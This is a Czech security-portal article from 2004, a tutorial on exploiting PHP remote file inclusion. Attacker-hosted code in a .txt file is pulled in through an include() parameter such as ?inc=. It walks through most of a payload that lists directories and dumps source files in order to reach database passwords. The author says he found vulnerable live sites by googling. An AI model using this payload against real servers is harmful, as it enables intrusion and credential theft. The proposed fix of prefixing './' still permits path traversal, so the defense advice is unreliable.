Script Injection (PHP remote exploit)

Vložil/a pog [1], 1 Říjen, 2004 - 18:01

- Hacking [2]
- Hacking method [3]

Urcite uz jste nekdy videli v adrese stranky neco jako www.xyz.org?inc=hello.php [4] Tak ja ted podrobne rozeberu jeden exploit vyuzivajici (zneuzivajici?) teto programatorske chyby.

--[princip exploitu]--

Cele to pracuje na predpokladu, ze webmaster ma pochybne uvazovani a umoznil pres parametr v adrese vlozit nejaky soubor odkudkoliv z internetu. V kódu to vypada asi takhle: include($cesta);

V exploitu jsou pouzite standartni funkce pro praci s adresari a soubory, nic vic. Dulezite (a diky tomu to vlastne funguje tak, jak to funguje) je to, ze exploit NESMi mit priponu PHP, jinak je zpracovan uz na nasem serveru coz nechceme. Ja mam vyzkousenou priponu TXT. Takze to probiha asi takhle: include() na serveru A (server ktery chceme exploitnout) odesle na server B (nas server s ulozenym explitem) pozadavek, ze chce soubor exploit.txt, server B zjisti, ze ma priponu TXT a ze ji nema zpracovavat, odesle jej beze zmeny serveru A, a jak jiste vite fce include() funguje tak, ze precte obsah vkladaneho souboru a provede pripadne skripty v nem ulozene. Tim ze server B odeslal soubor TXT dostane skript na serveru A ciste PHP a zpracuje jej.

Jsou tam udelane i nejake funkce pro praci se soubory pro pripad ze by jste nahodou nekdy objevili stranku, kde ma uzivatel pod kterym je skript zpracovavan prava pro zapis ;) to se nejspis nestane ale kdo vi :-D

(omluvte ponekud zdlouhavejsi popis, pisu to i pro uplne neznale)

--[nejde tam nic menit, na co to sakra je?]--

je to na to, ze VZDY musi skript mit aspon pro cteni. A vy diky tomu muzete zobrazit zdrojak jakehokoliv souboru. To v dusledku umozni prokousat se az k souboru, který pripojuje databaze (je-li nejaky) a v 80% pripadu webmasteru pisicich vedome takoveto diry jsou vsechna hesla stejna :-)

--[popis skriptu krok za krokem]--

// nebudu tady popisovat HTML, to neni pro funkci skriptu dulezity, popisu tu jen klicove casti PHP

```
if(!isset($dir) || $dir == "") $dir = ".";
if(!isset($var) || $var == "") $var = "cesta";
if(!isset($$var)) $$var = "<i>cesta ke skriptu</i>";
```

zde jsou nadefinovany promenny ktery jsou nutny pro beh skriptu
$var obsahuje nazev promenne, ve ktere je ulozena cesta k souboru ktery se musi vkladat
$dir obsahuje adresar relativne k souboru, ktery exploit vklada ? pouzito dal ve funkci readdir() pro nacitani obsahu spravneho adresare

```
$dirhndl = opendir($dir);
while ($radek = readdir($dirhndl))
{
  if(ereg("\.*$", $radek) && !ereg("^\.{1,2}$", $radek))
```

```
  {
    $soubory[] = $radek;
  }
  elseif(!ereg("^\.{1,2}$", $radek))
  {
    $adresare[] = $radek;
  }
}
closedir($dirhndl);
```

timto se zjistuje, co je soubor a co adresar. Je to ponekud hloupe napsany, pokud narazite na adresar který ma format nazvu jako soubory tak bude bran jako soubor :-/ ale nevadi :) muzete to někdo vylepsit
cyklus while() zpusobi prochazeni adresarem od zacatku az do konce
první if() zajisti ze za soubor je povazovano vsechno, co ma na konci "tecku" a priponu a vse, co se nejmenuje "." a ".." - aktualni a nadrazeny adresar.
Druhy if() zajisti, ze se za adresare nebudou povazovat "." a ".."

mno a to je vlastne vsechno :-) ve zbyle casti skriptu pouze vypisuju obsah jednotlivych poli ($soubory a $adresare) se spravnymi parametry pro spravnou funkcnost skriptu. Kdyz je definovana promenna $src (vždy když kliknete na nazev souboru) tak se aktivuje

```
if(isset($src))
{
  show_source($src);
}
```

a tim se zobrazi nadherne barevne zvyrazneny zdrojovy kod :-D

--[obrana]--

k zablokovani teto diry staci napsat místo include($cesta); include("./".$cesta); tim ze zpusobi to, ze soubor je vždy hledan relativne k aktualnimu adresari. Takze když zadate http://atd.cz/exploit.txt [5] tak je z toho include("./http://atd.cz/exploit.txt"); a samozrejme 404, file not found.

--[uspesnost]--

namatkovym googlenim jsem nasel asi 20 takovych webu z toho pres 6 bylo zranitelnych. Prekvapive hodne jich je na serveru webzdarma

URL článku: https://security-portal.cz/clanky/script-injection-php-remote-exploit

Odkazy:
[1] https://security-portal.cz/users/pog
[2] https://security-portal.cz/category/tagy/hacking
[3] https://security-portal.cz/category/tagy/hacking-method
[4] http://www.xyz.org?inc=hello.php
[5] http://atd.cz/exploit.txt